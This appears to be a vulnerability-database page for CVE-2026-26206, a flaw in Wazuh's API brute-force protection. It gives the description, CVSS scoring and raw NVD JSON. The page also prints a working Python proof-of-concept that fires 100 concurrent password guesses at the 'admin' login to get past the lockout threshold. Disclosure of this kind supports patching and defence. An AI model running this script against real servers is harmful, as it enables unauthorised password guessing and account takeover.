Security Vulnerability Report
中文
CVE-2026-26206 CVSS 6.5 MEDIUM

CVE-2026-26206

Published: 2026-04-29 19:16:23
Last Modified: 2026-04-30 20:38:48

Description

Wazuh is a free and open source platform used for threat prevention, detection, and response. From version 4.0.0 to before version 4.14.4, Wazuh's server API brute-force protection for POST /security/user/authenticate can be bypassed by sending concurrent authentication requests. Although the configured threshold (max_login_attempts, default 50) is enforced correctly for sequential requests, a parallel burst allows significantly more failed login attempts to be processed before the IP block is applied. This enables an attacker to perform more password guesses than the configured policy intends (e.g., 100 attempts processed where 50 should be allowed). This issue has been patched in version 4.14.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:* - VULNERABLE
Wazuh 4.0.0 到 4.14.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio import aiohttp # Proof of Concept for CVE-2026-26206 # This script demonstrates bypassing brute-force protection using concurrent requests. TARGET_URL = "https://<wazuh-api-host>/security/user/authenticate" USERNAME = "admin" PASSWORD_LIST = ["password1", "password2", "password3", "password4", "password5"] CONCURRENT_REQUESTS = 100 # Sending 100 requests concurrently to bypass the limit of 50 async def attempt_login(session, password): payload = { "username": USERNAME, "password": password } try: async with session.post(TARGET_URL, json=payload, ssl=False) as response: if response.status == 200: print(f"[+] Success with password: {password}") return await response.text() else: print(f"[-] Failed with password: {password}, Status: {response.status}") except Exception as e: print(f"[!] Error: {e}") return None async def main(): async with aiohttp.ClientSession() as session: tasks = [] # Simulate a burst of concurrent requests for i in range(CONCURRENT_REQUESTS): # Cycle through passwords if list is shorter than request count pwd = PASSWORD_LIST[i % len(PASSWORD_LIST)] tasks.append(attempt_login(session, pwd)) await asyncio.gather(*tasks) if __name__ == "__main__": asyncio.run(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26206", "sourceIdentifier": "[email protected]", "published": "2026-04-29T19:16:22.600", "lastModified": "2026-04-30T20:38:48.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh is a free and open source platform used for threat prevention, detection, and response. From version 4.0.0 to before version 4.14.4, Wazuh's server API brute-force protection for POST /security/user/authenticate can be bypassed by sending concurrent authentication requests. Although the configured threshold (max_login_attempts, default 50) is enforced correctly for sequential requests, a parallel burst allows significantly more failed login attempts to be processed before the IP block is applied. This enables an attacker to perform more password guesses than the configured policy intends (e.g., 100 attempts processed where 50 should be allowed). This issue has been patched in version 4.14.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}, {"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.14.4", "matchCriteriaId": "8147D947-167A-4F70-A689-81B33A161A83"}]}]}], "references": [{"url": "https://github.com/wazuh/wazuh/releases/tag/v4.14.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-m2mr-xhhv-jx58", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-m2mr-xhhv-jx58", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}